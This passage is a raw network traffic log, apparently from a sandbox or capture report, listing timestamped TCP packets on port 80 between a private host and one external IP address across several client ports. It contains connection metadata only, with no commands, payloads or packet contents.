Apr 15, 2025 11:33:47.344727993 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.344727993 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.344762087 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344798088 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344830990 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344865084 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344896078 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344923973 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.344923973 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.344929934 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344944000 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.344964027 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.344996929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345021009 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345036983 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345072985 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345105886 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345115900 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345139980 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345160961 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345174074 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345207930 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345273972 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345285892 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345318079 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345339060 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345350027 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345386028 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345402956 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345418930 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345452070 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345477104 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345487118 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345523119 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345550060 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345556974 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345591068 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345623970 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345643044 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345658064 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345690012 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345724106 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345753908 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345753908 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345755100 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345789909 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345822096 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345853090 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345869064 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345869064 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345886946 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345918894 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345932007 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.345951080 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.345984936 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346016884 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346028090 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346050978 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346084118 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346101046 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346117973 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346132994 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346151114 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346184015 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346204996 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346215963 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346250057 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346281052 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346282959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346318960 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346352100 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346384048 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346398115 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346398115 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346417904 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346451044 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346483946 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346517086 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346549988 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346554041 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346554041 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346584082 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346616983 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346648932 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346662998 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346662998 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346681118 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346714020 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346749067 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346760035 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346782923 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346803904 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346816063 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346848011 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346873045 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346882105 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346916914 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346935987 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.346950054 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.346982956 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347002029 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347017050 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347049952 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347068071 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347084045 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347116947 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347150087 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347162008 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347183943 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347217083 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347238064 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347249985 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347281933 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347315073 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347332001 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347332001 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347348928 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347382069 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347400904 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347414970 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347449064 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347481966 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347492933 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347516060 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347548008 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347549915 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347580910 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347613096 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347640991 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347645998 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347680092 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347711086 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347712040 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347733974 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347743034 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347775936 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347795010 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347807884 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347841978 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347857952 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347875118 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347908020 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347939968 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.347954035 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.347971916 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348005056 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348036051 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348037004 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348062992 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348068953 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348102093 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348134995 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348140001 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348167896 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348201036 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348220110 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348232985 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348273039 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348289967 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348323107 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348355055 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348387957 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348400116 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348400116 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348422050 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348454952 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348489046 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348511934 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348521948 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348546982 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348556042 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348591089 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348615885 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348624945 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348656893 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348670959 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348690033 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348723888 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348742962 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348756075 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348788977 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348809004 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348822117 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348855019 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348887920 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348906040 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348927975 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.348937035 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348954916 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.348985910 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349004030 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349033117 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349036932 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349066973 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349071026 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349090099 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349107981 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349139929 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349160910 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349174023 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349195004 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349212885 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349246025 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349267006 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349280119 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349320889 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349354029 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349385023 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349397898 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349415064 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349419117 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349451065 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349478006 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349484921 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349518061 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349538088 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349550962 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349584103 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349603891 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349617004 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349651098 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349684000 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349715948 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349729061 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349750996 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349765062 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349785089 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349812031 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349817038 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349849939 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349864960 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349884033 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349920988 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349951982 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.349981070 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.349986076 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350007057 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350019932 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350053072 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350075960 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350095034 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350105047 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350137949 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350162983 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350188017 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350208998 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350220919 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350255966 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350281000 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350289106 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350321054 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350339890 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350353956 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350385904 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350409031 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350419044 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350452900 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350481033 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350486994 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350518942 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350538015 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350552082 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350584984 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350613117 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350617886 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350650072 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350673914 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350684881 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350717068 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350740910 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.350749969 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350788116 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.350812912 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.403865099 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.403866053 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.415977955 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416068077 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416105986 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416141987 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416179895 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416217089 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416218996 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416279078 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416313887 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416321039 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416343927 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416348934 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416378021 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416384935 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416419029 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416452885 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416459084 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416488886 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416510105 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416523933 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416558981 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416580915 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416594028 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416626930 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416647911 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416661978 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416697025 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416716099 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416733027 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416769028 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416783094 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416801929 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416836023 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416855097 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416871071 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416906118 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416924000 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.416939974 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.416974068 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417006969 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417015076 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417042017 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417062044 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417074919 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417112112 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417126894 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417145967 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417181015 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417195082 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417213917 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417248011 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417268038 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417282104 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417315960 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417336941 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417352915 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417386055 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417398930 CEST	49718	80	192.168.2.5	104.168.28.10
